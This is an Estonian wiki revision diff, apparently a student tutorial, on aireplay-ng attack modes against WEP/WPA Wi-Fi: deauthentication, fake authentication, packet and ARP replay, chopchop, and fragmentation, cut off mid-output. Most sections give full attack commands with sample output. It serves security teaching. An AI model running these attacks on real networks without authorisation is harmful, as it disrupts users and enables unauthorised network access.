Aireplay-ng ründerežiimid: Difference between revisions

From ICO wiki
Jump to navigationJump to search
 
(46 intermediate revisions by the same user not shown)
Line 1: Line 1:
Hello world!
=Autor=
Tanel Liiv D22 (2011)


=Sissejuhatus=
=Sissejuhatus=
Line 5: Line 6:
Aireplay-ng`d kasutatakse ''frame''`de sisestamiseks võrguliiklusesse.[1]
Aireplay-ng`d kasutatakse ''frame''`de sisestamiseks võrguliiklusesse.[1]


Peamine funktsioon on liikluse genereerimine hilisemaks kasutamiseks aircrack-ngs - [https://secure.wikimedia.org/wikipedia/en/wiki/Wired_Equivalent_Privacy WEP] ja [https://secure.wikimedia.org/wikipedia/en/wiki/WPA-PSK WPA-PSK] võtmete lahtimurdmiseks. Erinevad rünnakuviisid võimaldavad tekitada deautentimist WPA handshake pakettide püüdmiseks, võlts deautentimiseks, interaktiivseks pakettie taasmängimiseks ja käsitsi valmistatud ARP päringute sisestamiseks liiklusesse.[1]
Peamine funktsioon on liikluse genereerimine hilisemaks kasutamiseks aircrack-ng`s - [https://secure.wikimedia.org/wikipedia/en/wiki/Wired_Equivalent_Privacy WEP] ja [https://secure.wikimedia.org/wikipedia/en/wiki/WPA-PSK WPA-PSK] võtmete lahtimurdmiseks. Erinevad rünnakuviisid võimaldavad tekitada deautentimist WPA ''handshake'' pakettide püüdmiseks, võlts deautentimiseks, interaktiivseks pakettide taasmängimiseks ja käsitsi valmistatud ARP päringute sisestamiseks liiklusesse.[1]
 


=Eelteadmised=
=Eelteadmised=
WEP ja WPA/WPA2 võrkude ründamiseks on vajalikud mõned konkreetsed eelteadmised. Nende teadmine lihtsustab suurel määral võimalike probleemide lahendamist ja annab paremini aimu millega tegu on ja kuidas asjad "backendis" töötavad - ei teki näiteks seda viga et üritatakse replayda paketti kui ühtegi klienti pole APga assotsiaseerunud.
WEP ja WPA/WPA2 võrkude ründamiseks on vajalikud mõned konkreetsed eelteadmised. Nende teadmine lihtsustab suurel määral võimalike probleemide lahendamist ja annab paremini aimu millega tegu on ja kuidas asjad ''backendis'' töötavad - ei teki näiteks viga kus üritatakse taasmängida paketti kui ühtegi klienti pole APga assotsiaseerunud.


Samuti eeldatakse et teatakse aireplay-ng põhikäske ja argumente - nullist õppimiseks ei ole see mõeldud.


==WEP==
==WEP==
WEPi ründamiseks on vaja eristada Open Authentication ja Shared Key Authentication süsteemi
WEPi ründamiseks on vaja eristada Open Authentication ja Shared Key Authentication süsteemi
===Open Authentication===
===Open Authentication===
[[http://documentation.netgear.com/reference/sve/wireless/images/WEPauthenticationOpen.jpg]][5]
[http://documentation.netgear.com/reference/sve/wireless/images/WEPauthenticationOpen.jpg][5]


* Klient saadab autentimis päringu AP'le.[5]
* Klient saadab autentimis päringu AP'le.[5]
* AP autentib kliendi.[5]
* AP autentib kliendi.[5]
** AP laseb selles režiimis kõik kliendid läbi, st. mingit autentimist(sõna otseses mõttes) ei toimu[5]
** AP laseb selles etapis kõik kliendid läbi, st. mingit autentimist(sõna otseses mõttes) ei toimu[5]
* Klient assotsib AP'ga ja liitub võrguga.[5]
* Klient assotsiaseerub AP'ga ja liitub võrguga.[5]
** Selles punktis hakkavad mõlemad osapooled andmeid saatma WEPi krüpteeringuga, st. edasiseks suhtlemiseks on vaja teada salajast võtit. Sellesse punkti jõudes on võimalik assotsitud kliendi MACiga saata AP'le pakke(nõrk koht).[5]
** Selles etapis hakkavad mõlemad osapooled andmeid saatma WEPi krüpteeringuga, st. edasiseks suhtlemiseks on vaja teada salajast võtit. Sellesse punkti jõudes on võimalik assotsiaseerunud kliendi MACiga saata AP'le pakette(nõrkus).[5]


===Shared Key Authentication===
===Shared Key Authentication===
http://documentation.netgear.com/reference/sve/wireless/images/WEPauthenticationShared.jpg [6]
[http://documentation.netgear.com/reference/sve/wireless/images/WEPauthenticationShared.jpg] [6]


* Klient saadab autentimise päringu AP'le.[6]
* Klient saadab autentimise päringu AP'le.[6]
* AP saadab kliendile random baidiarray(pusle).[6]
* AP saadab kliendile ''random'' baidijada(ülesanne).[6]
* Klient kasutab oma 64- vüi 128bitist salajast võtit ning krüptib saadud baidirea ära, ning saadab tagasi AP'le.[6]
* Klient kasutab oma 64- või 128bitist salajast võtit ning krüptib saadud baidijada ära, ning saadab tagasi AP'le.[6]
* AP dekrüptib saadud array ning võrdleb seda esialgu väljasaadetud stringiga, kui need ei kattu, siis saadetakse kliendile negatiivne vastus. Kui kattub siis järelikult on kliendil ja AP'l sama WEP võti, ning AP autentib kliendi ära.[6]
* AP dekrüptib saadud jada ning võrdleb seda esialgu väljasaadetud stringiga, kui need ei kattu, siis saadetakse kliendile negatiivne vastus. Kui kattub siis järelikult on kliendil ja AP'l sama WEP võti, ning AP autentib kliendi ära.[6]
* Klient ühendab võrku.[6]
* Klient ühendub võrku.[6]


Sellisel juhul ei ole võimalik autentimisest edasi saada ilma võtmeta, ning seega ei saa ka APle pakke saata. (Lahendus probleemile on #Shared Key Authentication artikli all)
Sellisel juhul ei ole võimalik autentimisest edasi saada ilma võtmeta, ning seega ei saa ka AP'le pakke võrku sisestada. (Lahendus probleemile on #Shared Key Authentication artikli all)


=Meetodid=
=Meetodid=
Meetodite ees on "Rünnak x:". x tähistab numbrit mitmes implementeeritud rünnak see on ja seda numbrit aksepteerib aireplay-ng ka vastava käsurea lipu argumendina.
Meetodite pealkrijade ees on "Rünnak x:". x tähistab numbrit mitmes implementeeritud rünnak see on ja seda numbrit aksepteerib aireplay-ng ka vastava käsurea lipu argumendina.
==Rünnak 0: Deauthentication==
==Rünnak 0: Deauthentication==


See meetod saab disassotsiaseerumise paketi ühele või rohkemale kliendile kes on parasjagu vastava ''access pointiga'' assotsiaseerunud. Klientide dissimisel võib olla mitu eesmärki:[2]
See meetod saab disassotsiaseerumise paketi ühele või rohkemale kliendile kes on parasjagu vastava ''access pointiga'' assotsiaseerunud. Klientide lahtiühendamisel võib olla mitu eesmärki:[2]


* Peidetud ESSID kättesaamine. See on ESSID mida access point ei kuuluta broadcastis.[2]
* Peidetud ESSID kättesaamine. See on ESSID mida access point ei kuuluta ''broadcastis''.[2]
* WPA/WPA2 handshake kinnipüüdmine sundides klienti uuesti autentima.(Ei ole kohustuslik, võib oodata ka kuni klient ise uuesti ühendub)[2]
* WPA/WPA2 handshake kinnipüüdmine sundides klienti uuesti autentima.(Ei ole kohustuslik, võib oodata ka kuni klient ise uuesti ühendub)[2]
* ARP päringute genereerimine(Windowsi kliendid võivad mõnikord oma ARP cache tühjendada kui ühendus ära kaob)[2]
* ARP päringute genereerimine(Windowsi kliendid võivad mõnikord oma ARP ''cache'' tühjendada kui ühendus ära kaob)[2]


NB! Arusaadavalt on see rünnak täiesti kasutu kui traadita ühenduspunkti küljes ei ole ühtegi reaalset assotsiaseerunud klienti või võlts autentimist.[2]
NB! Arusaadavalt on see rünnak täiesti kasutu kui traadita ühenduspunkti küljes ei ole ühtegi reaalset assotsiaseerunud klienti või võlts autentitud klienti.[2]


===Meetodid===
===Meetodid===


====Suunatud====
====Suunatud====
<pre>Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
<pre>
12:35:25 Sending 64 directed DeAuth. STMAC: [00:0F:B5:AE:CE:9D] [ 61|63 ACKs]</pre>
$ sudo aireplay-ng -0 100 -a AA:AA:AA:AA:AA:AA -c CC:CC:CC:CC:CC:CC mon0
21:36:02  Waiting for beacon frame (BSSID: AA:AA:AA:AA:AA:AA) on channel 11
21:36:03  Sending 64 directed DeAuth. STMAC: [CC:CC:CC:CC:CC:CC] [ 38|38 ACKs]
21:36:03  Sending 64 directed DeAuth. STMAC: [CC:CC:CC:CC:CC:CC] [ 54|54 ACKs]
21:36:04  Sending 64 directed DeAuth. STMAC: [CC:CC:CC:CC:CC:CC] [ 54|54 ACKs]
21:36:04  Sending 64 directed DeAuth. STMAC: [CC:CC:CC:CC:CC:CC] [ 38|50 ACKs]
21:36:05  Sending 64 directed DeAuth. STMAC: [CC:CC:CC:CC:CC:CC] [ 54|54 ACKs]
21:36:06  Sending 64 directed DeAuth. STMAC: [CC:CC:CC:CC:CC:CC] [ 54|54 ACKs]
21:36:06 Sending 64 directed DeAuth. STMAC: [CC:CC:CC:CC:CC:CC] [ 2|54 ACKs]
...
</pre>


* BSSID peab olema sihtmärk AP korrektne MAC aadress[2]
* BSSID peab olema sihtmärk AP korrektne MAC aadress[2]
Line 62: Line 73:
Kui 61 ja 63 on arvud mis on suhteliselt stabiilsed ja lähedal 64'le, siis tähendab see seda et mõlemad osapooled on sinu võrgukaardi antennist kuuldekaugusel ja nendega on võimalik infot vahetada. Kui üks neist numbritest on väike, siis tähendab seda et asud vastavast osapoolest liiga kaugel - sellisel juhul see rünnak ei tööta, sul on vaja kas saatja saatevõimet suurendada, või minna osapoolele füüsiliselt lähemale.[2]
Kui 61 ja 63 on arvud mis on suhteliselt stabiilsed ja lähedal 64'le, siis tähendab see seda et mõlemad osapooled on sinu võrgukaardi antennist kuuldekaugusel ja nendega on võimalik infot vahetada. Kui üks neist numbritest on väike, siis tähendab seda et asud vastavast osapoolest liiga kaugel - sellisel juhul see rünnak ei tööta, sul on vaja kas saatja saatevõimet suurendada, või minna osapoolele füüsiliselt lähemale.[2]


Suunatud VS broadcast olukorras on alati soovitav kasutada suunatud varianti, kuna paljud kliendid ignoreerivad broadcastis saadetud disconnect paketti.[2]
Suunatud ''versus'' broadcast olukorras on alati soovitav kasutada suunatud varianti, kuna paljud kliendid ignoreerivad broadcastis saadetud lahtiühendamise paketti.[2]


Kui sulle kliendi ACK'ide arv on korrektne, aga sulle ikkagi ei tundu et ta ennast lahti ühendaks, siis võib probleem peituda selles et ta ühendub uuesti liiga kiiresti.[2]
Kui sulle kliendi ACK'ide arv tundub korrektne, aga sulle ikkagi ei tundu et ta ennast lahti ühendaks, siis võib probleem peituda selles et ta ühendub uuesti liiga kiiresti.[2]


====Broadcast====
====Broadcast====
<pre>Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
<pre>
$ sudo aireplay-ng -0 100 -a AA:AA:AA:AA:AA:AA  mon0
21:33:25  Waiting for beacon frame (BSSID: AA:AA:AA:AA:AA:AA) on channel 11
NB: this attack is more effective when targeting
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
a connected wireless client (-c <client's mac>).
15:49:32 Sending DeAuth to broadcast -- BSSID: [00:14:6C:7E:40:80]</pre>
21:33:25 Sending DeAuth to broadcast -- BSSID: [AA:AA:AA:AA:AA:AA]
 
21:33:26  Sending DeAuth to broadcast -- BSSID: [AA:AA:AA:AA:AA:AA]
Nagu mainitud, broadcast disconnect on vähem efektiivsem.
21:33:26  Sending DeAuth to broadcast -- BSSID: [AA:AA:AA:AA:AA:AA]
21:33:27  Sending DeAuth to broadcast -- BSSID: [AA:AA:AA:AA:AA:AA]
21:33:27  Sending DeAuth to broadcast -- BSSID: [AA:AA:AA:AA:AA:AA]
21:33:28  Sending DeAuth to broadcast -- BSSID: [AA:AA:AA:AA:AA:AA]
...
</pre>
Nagu mainitud, ''broadcast'' lahtiühendamine on vähem efektiivsem.


==Rünnak 1: Fake authentication==
==Rünnak 1: Fake authentication==
Võlts autentimine lubab läbi viia nii Open System kui ka Shared key WEP autentimist, peale selle teeb ta ka assotsiatsiooni access pointiga. See on kasulik ainult siis kui sul on vaja AP'le pakettide saatmiseks assotsiaseeritud klienti, selle puudumisel ei võta AP ühtegi talle saadetud pakki vastu. Kui meil on aga reaalne klient, siis saame tema nimel pakke saata, kui pole, on vaja võlts autentimist.
Võlts autentimine lubab läbi viia nii Open System kui ka Shared Key WEP autentimist, peale selle teeb ta ka assotsiatsiooni access pointiga. See on kasulik ainult siis kui sul on vaja AP'le pakettide saatmiseks assotsiaseeritud klienti, selle puudumisel ei võta AP ühtegi talle saadetud pakki vastu. Kui meil on aga reaalne klient, siis saame tema nimel pakke saata, kui pole, on vaja võlts autentimist.
Võlts autentimine ei tekita ARP pakette(seega ei piisa selle üksi kasutamisest) ja ei suuda assotsiaseeruda WPA/WPA2 access pointidega.[3]
Võlts autentimine ei tekita ARP pakette(seega ei piisa selle üksi kasutamisest) ja ei suuda assotsiaseeruda WPA/WPA2 access pointidega.[3]


Fake authenticationit ei tohi kasutada aktiivse kliendi MACiga, kuna see ajab ruuteri segadusse(?). See on eriti sobilik meetod selliseks juhuks kui olemasolevalt kliendilt on kinni püütud näiteks ARP pakett, ning klient ühendub lahti enne kui suudad piisavalt arp pakette tagasi mängida. Sellisel juhul aitab sama kliendi MACiga fake autentimine ning siis seda kinnipüütud pakki uuesti/edasi mängida.
Fake authenticationit ei tohi kasutada aktiivse kliendi MACiga. See on eriti sobilik meetod selliseks juhuks kui olemasolevalt kliendilt on kinni püütud näiteks ARP pakett, ning klient ühendub lahti enne kui suudad piisavalt arp pakette tagasi mängida. Sellisel juhul aitab sama kliendi MACiga fake autentimine ning siis seda kinnipüütud pakki uuesti/edasi mängida.


===Meetodid===
===Meetodid===
====Open Authentication====
====Open Authentication====
Open authentication puhul ei üritata klienti enne assotsiamist autentida, seega saame kerge vaevaga ennast ära assotsida ning hakata AP'ga suhtlema. Selles etapis hakkavad tavakliendid WEP'i(ja seega ka salajast võtit) kasutades rääkima, meie aga saame sisestada juba korrektse võtmega krüptitud(reaalselt kliendilt varem püütud) pakke AP'le saatma, uuesti ja uuesti.[4]
Open authentication puhul ei üritata klienti enne assotsiaseerumist autentida, seega saame kerge vaevaga ennast ära assotsiaseeruda ning hakata AP'ga suhtlema. Selles etapis hakkavad tavakliendid WEP'i(ja seega ka salajast võtit) kasutades rääkima, meie aga saame sisestada juba korrektse võtmega krüptitud(reaalselt kliendilt varem püütud) pakke AP'le saatma, uuesti ja uuesti.[4]
<pre>18:18:20  Sending Authentication Request
<pre>$ sudo aireplay-ng -1 0 -a AA:AA:AA:AA:AA:AA -h CC:CC:CC:CC:CC:CC mon0
18:18:20  Authentication successful
21:40:20  Sending Authentication Request
18:18:20  Sending Association Request
21:40:20  Authentication successful
18:18:20  Association successful :-)</pre>
21:40:20  Sending Association Request
Sellisel juhul on assotsiaseerumine õnnestunud ja võib jätkata teiste rünnakutega - AP võtab vastu vastavalt MACilt tulevaid pakke, ja saadab õigetes tingimustes ka vastuseid.[4]
21:40:20  Association successful :-)
...
</pre>
Sellisel juhul on assotsiaseerumine õnnestunud võib jätkata teiste rünnakutega - AP võtab vastu vastavalt MACilt tulevaid pakke, ja saadab õigetes tingimustes ka vastuseid.[4]


====Shared Key Authentication====
====Shared Key Authentication====
SKA tähendab seda, et AP ei räägi potensiaalse kliendiga mitte midagi, va. WEP võtmega autentimise protokoll, seega ei ole võimalik meil AP'ga assotsiaseeruda(me ei tea ju salajast võtit millega AP saadetud puzzle ära "lahendada") ning sellest tulenevalt ei saa me ka AP'le mingeid pakke saata.(?)
SKA tähendab seda, et AP ei räägi potensiaalse kliendiga mitte midagi, va. WEP võtmega autentimise protokoll, seega ei ole võimalik meil AP'ga assotsiaseeruda(me ei tea ju salajast võtit millega autentimisel AP saadetud puzzle ära "lahendada") ning sellest tulenevalt ei saa me ka AP'le mingeid pakke saata.
<pre>15:46:53  Sending Authentication Request
<pre>...
15:46:53  Sending Authentication Request
15:46:53  AP rejects open-system authentication
15:46:53  AP rejects open-system authentication
Please specify a PRGA-file (-y).</pre>
Please specify a PRGA-file (-y).</pre>


Sellisel juhul on vaja kinni püüda SKA handshake paketid. See toimub automaatselt kui airodump-ng näeb mõnda WEP-SKA handshake'i. Deauthentimise rünnakuga saab seda olemasolevale kliendile sundida.[7]
Sellisel juhul on vaja kinni püüda SKA ''handshake'' paketid. See toimub automaatselt kui airodump-ng näeb mõnda WEP-SKA handshake'i. Deauthentimise rünnakuga saab seda olemasolevale kliendile sundida.[7]


Kinnipüütud handshake'id salvestatakse "sharedkey-01-00-14-6C-7E-40-80.xor" formaadis faili. See fail tuleb vastavasse AP'sse fake autentimisel/kliendi disconnectimisks anda kaasa "-y" käsurea argumendiga.[7]
Kinnipüütud ''handshake''`id salvestatakse "sharedkey-01-00-14-6C-7E-40-80.xor" formaadis faili. See fail tuleb vastavasse AP'sse fake autentimisel/kliendi disconnectimisks anda kaasa "-y" käsurea argumendiga.[7]


NOTE: Kui airodump-ng jookseb ilma aktiivseid rünnakuid AP pihta tegemata, siis on AUTH väli WEP AP taga tühi. Kui airodump-ng näeb mända handshake'i siis tuleb AUTH välja sisse SKA, samal hetkel salvestatakse ka fail.[7]
NOTE: Kui airodump-ng jookseb ilma aktiivseid rünnakuid AP pihta tegemata, siis on AUTH väli WEP AP taga tühi. Kui airodump-ng näeb mända handshake'i siis tuleb AUTH välja sisse SKA, samal hetkel salvestatakse ka fail.[7]


==Rünnak 2: Interactive packet replay==
==Rünnak 2: Interactive packet replay==
Line 113: Line 135:
Et seda teha, tuleb meil kas taasmängida originaalpaketti, või paketti veidi manipuleerida.  AP'd edastavad(tekitavad uue IV) alati pakkidele mis on suunatud broadcast MACi(FF:FF:FF:FF:FF:FF) vastu. Selline omadus on näiteks ARP pakettidel. Peale selle on vajalik et pakett liiguks traadita kliendist traadiga võrku. Sellisel pakettil on "To DS" lipuke seatud "1" peale.
Et seda teha, tuleb meil kas taasmängida originaalpaketti, või paketti veidi manipuleerida.  AP'd edastavad(tekitavad uue IV) alati pakkidele mis on suunatud broadcast MACi(FF:FF:FF:FF:FF:FF) vastu. Selline omadus on näiteks ARP pakettidel. Peale selle on vajalik et pakett liiguks traadita kliendist traadiga võrku. Sellisel pakettil on "To DS" lipuke seatud "1" peale.
Need  filtrid on seadistatavad -b,-d ja -t argumentidega.[8]
Need  filtrid on seadistatavad -b,-d ja -t argumentidega.[8]
<pre>
$ sudo aireplay-ng -2 -b AA:AA:AA:AA:AA:AA -d FF:FF:FF:FF:FF:FF -t 1 mon0
Read 4 packets...
      Size: 68, FromDS: 0, ToDS: 1 (WEP)
          BSSID  =  AA:AA:AA:AA:AA:AA
      Dest. MAC  =  FF:FF:FF:FF:FF:FF
      Source MAC  =  CC:CC:CC:CC:CC:CC
      0x0000:  0841 de00 0014 6c7e 4080 000f b534 3030  .A....l~@....400
      0x0010:  ffff ffff ffff 4045 d16a c800 6f4f ddef  ......@E.j..oO..
      0x0020:  b488 ad7c 9f2a 64f6 ab04 d363 0efe 4162  ...|.*d....c..Ab
      0x0030:  8ad9 2f74 16bb abcf 232e 97ee 5e45 754d  ../t....#...^EuM
      0x0040:  23e0 883e                                #..>
Use this packet ? y
</pre>


===Manipuleeritavad pakid===
===Manipuleeritavad pakid===
Line 120: Line 161:
Me ei hooli ka mis lõppunkti MAC aadress on, kuna  me saame selle ära muuta.  Selleks on "-p 0841" argument, mis  muudab paki põhimõtte selliseks nagu ta saadetaks kliendist  AP'sse - põmst. muudab "To DS" lipu "1". Vaja on anda ka "-c" väärtuseks broadcast MAC.[8]
Me ei hooli ka mis lõppunkti MAC aadress on, kuna  me saame selle ära muuta.  Selleks on "-p 0841" argument, mis  muudab paki põhimõtte selliseks nagu ta saadetaks kliendist  AP'sse - põmst. muudab "To DS" lipu "1". Vaja on anda ka "-c" väärtuseks broadcast MAC.[8]


<pre>
$ sudo aireplay-ng -2 -b AA:AA:AA:AA:AA:AA -t 1 -c FF:FF:FF:FF:FF:FF -p 0841 mon0
Read 10 packets...
      Size: 124, FromDS: 0, ToDS: 1 (WEP)
          BSSID  =  AA:AA:AA:AA:AA:AA
      Dest. MAC  =  BB:BB:BB:BB:BB:BB
      Source MAC  =  CC:CC:CC:CC:CC:CC
      0x0000:  0841 2c00 0014 6c7e 4080 000f b534 3030  .A,...l~@....400
      0x0010:  0040 f477 e5c9 90c9 3d79 8b00 ce59 2bd7  .@.w....=y...Y+.
      0x0020:  96e7 fadf e0de 2e99 c019 4f85 9508 3bcc  ..........O...;.
      0x0030:  8d18 dbd5 92a7 a711 87d8 58d3 02b3 7be7  ..........X...{.
      0x0040:  8bf1 69c0 c596 3bd1 436a 9598 762c 9d1d  ..i...;.Cj..v,..
      0x0050:  7a57 3f3d e13c dad0 f2d8 0e65 6d66 d913  zW?=.<.....emf..
      0x0060:  9716 84a0 6f9a 0c68 2b20 7f55 ba9a f825  ....o..h+ U...%
      0x0070:  bf22 960a 5c7b 3036 290a 89d6            ."..\{06)...
Use this packet ? y
</pre>


===Klientideta võrgu ründamine===
===Klientideta võrgu ründamine===
Sellel meetodil on väga huvitav omadus see, et saab rünnata ka traadita-klientideta AP'd. Jooksuta aireplay-d kõige elementaarsemate argumentidega:
Sellel meetodil on väga huvitav omadus see, et saab rünnata ka traadita-klientideta AP'd. Jooksuta aireplay-d kõige elementaarsemate argumentidega:
<pre>aireplay-ng -2 -b 00:14:6C:7E:40:80 -d FF:FF:FF:FF:FF:FF -t 1 ath0</pre>
<pre>$ sudo aireplay-ng -2 -b AA:AA:AA:AA:AA:AA-d FF:FF:FF:FF:FF:FF -t 1 mon0
...
</pre>


Nüüd jääb üle vaid oodata kuni mõni pakett broadcasti saadetakse. Pole tähtis milline pakket, sisesta lihtsalt "y" esimesele tulevale pakile ja AP hakkab IV'sid genereerima. Negatiivne külg asjal on tõsiasi et paljud pakid on suhteliselt suured - suured pakid genereerivad IV'sid aeglasemalt. Suur pluss on see et ei ole vaja kinni püüda xor paketistriimi(chopchop või fragmenteeritud rünnakud), ehitada pakki ja käivitada relay rünnakut.[8]
Nüüd jääb üle vaid oodata kuni mõni pakett broadcasti saadetakse. Pole tähtis milline pakket, sisesta lihtsalt "y" esimesele tulevale pakile ja AP hakkab IV'sid genereerima. Negatiivne külg asjal on tõsiasi et paljud pakid on suhteliselt suured - suured pakid genereerivad IV'sid aeglasemalt. Suur pluss on see et ei ole vaja kinni püüda xor paketistriimi(chopchop või fragmenteeritud rünnakud), ehitada pakki ja käivitada relay rünnakut.[8]
Line 130: Line 194:
Klassikaline ARP päringu taasmängimise rünnak on efektiivseim viis IV'de genereerimiseks, ja ta töötab ka piisavalt stabiilselt. Programm kuulab ARP paketti(tunneb ära kindlate mittekrüptimata väljade järgi ja paki pikkuse järgi) ning hakkab seda AP'le taasmängima. See omakorda põhjustab igale päringu vastusele uue IV genereerimise.
Klassikaline ARP päringu taasmängimise rünnak on efektiivseim viis IV'de genereerimiseks, ja ta töötab ka piisavalt stabiilselt. Programm kuulab ARP paketti(tunneb ära kindlate mittekrüptimata väljade järgi ja paki pikkuse järgi) ning hakkab seda AP'le taasmängima. See omakorda põhjustab igale päringu vastusele uue IV genereerimise.
Seda rünnakut võib lugeda interaktiivse taasmängimise erijuhuks.[9]
Seda rünnakut võib lugeda interaktiivse taasmängimise erijuhuks.[9]
<pre>
$ sudo aireplay-ng -3 -b AA:AA:AA:AA:AA:AA -h CC:CC:CC:CC:CC:CC mon0
Saving ARP requests in replay_arp-0001-123456.cap
You should also start airodump-ng to capture replies.
Read 11978 packets (got 7193 ARP requests), sent 3902 packets...
</pre>


==Rünnak 4: KoreK chopchop attack==
==Rünnak 4: KoreK chopchop attack==
Line 135: Line 206:


===Teooria===
===Teooria===
KoreK võttis hästituntud nõrga ICV[link] probleemi ja järeldas sellest, et kui pakki lühendada ühe baidi võrra, siis saab sellest ehitada uue korrektse paki, kuna uus ICV on otseselt seotud puuduva krüptimata baidiga. [11]
KoreK kasutab hästituntud nõrga ICV[link] probleemi ja järeldab sellest, et kui pakki lühendada ühe baidi võrra, siis saab sellest ehitada uue korrektse paki, kuna uus ICV on otseselt seotud puuduva krüptimata baidiga. [11]


Esimene samm on võtta püütud pakett (M) ja eemaldada viimane bait, et saada sõnum M-1. Kuna me ei tea eemaldatud baidi plaintekst väärtust, peame hakkama seda arvama. Õnneks on ainult 256 võimalikku baidiväärtust. Esmaks eeldame siis et eemaldatud bait oli 00 ja paneme saadud sõnumi valemisse(liiga mahukas et siin kirjeldada) et luu abitmask mis üritab muuta ebakorrektset M-1 paketti valiidseks M-1 paketiks. Siis proovime paki korrektsust pritsides selle võrku. Kui AP selle kätte saab, siis kontrollitakse seda ja vastavalt aksepteeritakse või rejectitakse. Iga saadetud pakk baseerub arvatava baidil, niiet tõenäosus õige olla on 1/256. Kui pakett on aga õige, siis AP valideerib selle ja edastab võrku. Eeldades et sa samal ajal kuulad võrku saad näha kui AP seda teeb. Sellisel juhul tead mis on paki viimane bait. Siis on võimalik arvutada PRGA väärtus mida kasutati selle plaintekst baidi krüptimiseks(P XOR M = RC4 PRGA). Ühesõnaga, ründaja saab bait baidi haaval kogu paketi niimoodi ära arvata, boonuseks on ka keystream millega saad oma paki luua.[11]
Esimene samm on võtta püütud pakett (M) ja eemaldada viimane bait, et saada sõnum M-1. Kuna me ei tea eemaldatud baidi ''plaintekst'' väärtust, peame hakkama seda arvama. Õnneks on ainult 256 võimalikku baidiväärtust. Esmaks eeldame siis et eemaldatud bait oli 0x00 ja paneme saadud sõnumi valemisse(liiga mahukas et siin kirjeldada), et luua abitmask mis üritab muuta ebakorrektset M-1 paketti valiidseks M-1 paketiks. Siis proovime paki korrektsust pritsides selle võrku. Kui AP selle kätte saab, siis kontrollitakse seda ja vastavalt aksepteeritakse või ignoreeritakse. Iga saadetud pakk baseerub arvataval baidil, niiet tõenäosus õige olla on 1/256. Kui pakett on aga õige, siis AP valideerib selle ja edastab võrku. Eeldades et sa samal ajal kuulad võrku saad näha kui AP seda teeb. Sellisel juhul tead mis on paki viimane bait. Siis on võimalik arvutada PRGA väärtus mida kasutati selle plaintekst baidi krüptimiseks(P XOR M = RC4 PRGA). Ühesõnaga, ründaja saab bait baidi haaval kogu paketi niimoodi ära arvata, boonuseks on ka keystream millega saad oma paki luua.[11]


<pre> .........
<pre>$ sudo aireplay-ng -4 -h CC:CC:CC:CC:CC:CC -b AA:AA:AA:AA:AA:AA mon0
      Read 165 packets...
 
        Size: 86, FromDS: 1, ToDS: 0 (WEP)
        BSSID  =  AA:AA:AA:AA:AA:AA
        Dest. MAC  =  FF:FF:FF:FF:FF:FF
        Source MAC  =  CC:CC:CC:CC:CC:CC
        0x0000:  0842 0000 ffff ffff ffff 0014 6c7e 4080  .B..........l~@.
        0x0010:  0040 f477 e5c9 603a d600 0000 5fed a222  .@.w..`:...._.."
        0x0020:  e2ee aa48 8312 f59d c8c0 af5f 3dd8 a543  ...H......._=..C
        0x0030:  d1ca 0c9b 6aeb fad6 f394 2591 5bf4 2873  ....j.....%.[.(s
        0x0040:  16d4 43fb aebb 3ea1 7101 729e 65ca 6905  ..C...>.q.r.e.i.
        0x0050:  cfeb 4a72 be46                          ..Jr.F
 
Use this packet ? y
 
Saving chosen packet in replay_src-0001-123456.cap
Offset  85 ( 0% done) | xor = D3 | pt = 95 |  253 frames written in  760ms
Offset  84 ( 1% done) | xor = EB | pt = 55 |  166 frames written in  498ms
Offset  83 ( 3% done) | xor = 47 | pt = 35 |  215 frames written in  645ms
Offset  82 ( 5% done) | xor = 07 | pt = 4D |  161 frames written in  483ms
Offset  81 ( 7% done) | xor = EB | pt = 00 |  12 frames written in    36ms
...
  Offset  38 (90% done) | xor = FD | pt = 08 |  229 frames written in  688ms
  Offset  38 (90% done) | xor = FD | pt = 08 |  229 frames written in  688ms
  Offset  37 (92% done) | xor = 13 | pt = 01 |  232 frames written in  695ms
  Offset  37 (92% done) | xor = 13 | pt = 01 |  232 frames written in  695ms
Line 149: Line 245:
  Enabling standard workaround: ARP header re-creation.
  Enabling standard workaround: ARP header re-creation.
   
   
  Saving plaintext in replay_dec-0201-191706.cap
  Saving plaintext in replay_dec-0001-123457.cap
  Saving keystream in replay_dec-0201-191706.xor
  Saving keystream in replay_dec-0001-123456.xor
   
   
  Completed in 21s (2.29 bytes/s)</pre>
  Completed in 21s (2.29 bytes/s)</pre>
Jee! Saad kasutada xor faili oma paki injectimiseks või lugeda paki sisu .cap failist. Vaata ainult et paki injectimisel kasutad autentitud source maci, väga väheste ruuterite korral töötab paki sisestamine broadcasti ilma autentimata.
Jee! Saad kasutada xor faili oma paki injectimiseks või lugemiseks paki sisu .cap failist. Vaata ainult et paki injectimisel kasutad autentitud source maci, väga väheste ruuterite korral töötab paki sisestamine ''broadcasti'' ilma autentimata. Soovitatav on võtta ka lühem pakett kuna dekrüptimise aeg on lineaarselt seotud paketi pikkusega.[10]


=Kala=
==Rünnak 5: Fragmentation attack==
Õnnestumise korral suudab see rünnak tagastada sulle kuni 1500 baiti PRGA'd. See rünnak ei tagasta WEP võtit. Saadud PRGA'ga saab krüptida oma loodud pakette ja neid võrku injectida. Ründamiseks on vaja saada AP'lt vähemalt üks pakett.[12]


Rünnak 5: Fragmentation attack
Põhimõtteliselt saab programm paketist väikese hulga võtmematerjali ning üritab saata ARP või LLC pakette(kuna selliste pakettide sisu on teada) AP'le. Kui pakett kajatakse tagasi AP poolt siis saab tagastatud paketi põhjal tuletada suurema hulga PRGA baite. Tsüklit saab korrata kuni saadakse kätte kuni 1500 baiti.[12]


Rünnak 6: Cafe-latte attack
See rünnak nõuab head ühendust AP'ga, kuna ründaja fragmenteerib pakette ja AP peab need kõik kätte saama.[12]


Rünnak 7: Client-oriented fragmentation attack
<pre>
$ sudo aireplay-ng -5 -b AA:AA:AA:AA:AA:AA -h CC:CC:CC:CC:CC:CC mon0
Waiting for a data packet...
Read 96 packets...


Rünnak 8: WPA Migration Mode – will be available in the next release-
      Size: 120, FromDS: 1, ToDS: 0 (WEP)


Rünnak 9: Injection test
          BSSID  =  AA:AA:AA:AA:AA:AA
      Dest. MAC  =  CC:CC:CC:CC:CC:CC
      Source MAC  =  BB:BB:BB:BB:BB:BB
 
      0x0000:  0842 0201 000f b5ab cb9d 0014 6c7e 4080  .B..........l~@.
      0x0010:  00d0 cf03 348c e0d2 4001 0000 2b62 7a01  ....4...@...+bz.
